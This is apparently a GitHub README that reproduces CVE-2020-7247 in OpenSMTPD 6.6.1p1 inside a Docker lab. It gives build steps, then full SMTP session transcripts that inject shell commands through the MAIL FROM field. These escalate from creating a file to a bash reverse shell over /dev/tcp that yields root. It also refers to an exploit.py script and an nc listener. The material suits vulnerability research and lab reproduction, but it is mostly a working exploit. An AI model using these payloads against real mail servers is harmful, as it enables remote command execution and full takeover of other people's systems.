minhluannguyen/cve-2020-7247-reproducer
This repository contains necessary files to build a Docker image that contains a vulnerable environment of OpenSMTPD (6.6.1p1). The vulnerability allows an attacker to execute arbitrary commands through a specially crafted SMTP session, specifically in the MAIL FROM field.
docker build -t opensmtpd-vuln -f Dockerfile .
docker run -it --rm --name opensmtpd-vuln-test opensmtpd-vuln /bin/bash
smtpd -dv
nix-build opensmtpd-vuln.nix
docker load < result
docker run -it --rm opensmtpd-vuln-nix /bin/bash
smtpd -dv
3.1. Execute arbitrary commands:
$nc 172.17.0.2 25
220 debian ESMTP OpenSMTPD
HELO toto
250 debian Hello toto [172.17.0.1], pleased to meet you
MAIL FROM:<;touch secret.txt;>
250 2.0.0 Ok
RCPT TO:<[email protected]>
250 2.1.5 Destination address valid: Recipient ok
data
354 Enter mail, end with "." on a line by itself
Hello Bonjour Xin chào
.
250 2.0.0 09cb8342 Message accepted for delivery
QUIT
221 2.0.0 Bye
3.2. Get a reverse shell:
Set up listener:
nc -lnvp 8080
Run the exploit.py script (on another terminal):
python3 exploit.py
Or do it manually:
$nc 172.17.0.2 25
220 debian ESMTP OpenSMTPD
HELO toto
250 debian Hello toto [172.17.0.1], pleased to meet you
MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>
250 2.0.0 Ok
RCPT TO:<[email protected]>
250 2.1.5 Destination address valid: Recipient ok
data
354 Enter mail, end with "." on a line by itself
#0
#1
#2
#3
#4
#5
#6
#7
#8
#9
#a
#b
#c
#d
sh -c 'echo "bash -i >& /dev/tcp/172.17.0.1/8080 0>&1" | bash'
.
250 2.0.0 09cb8342 Message accepted for delivery
QUIT
221 2.0.0 Bye
You should now have a shell as root on the host machine.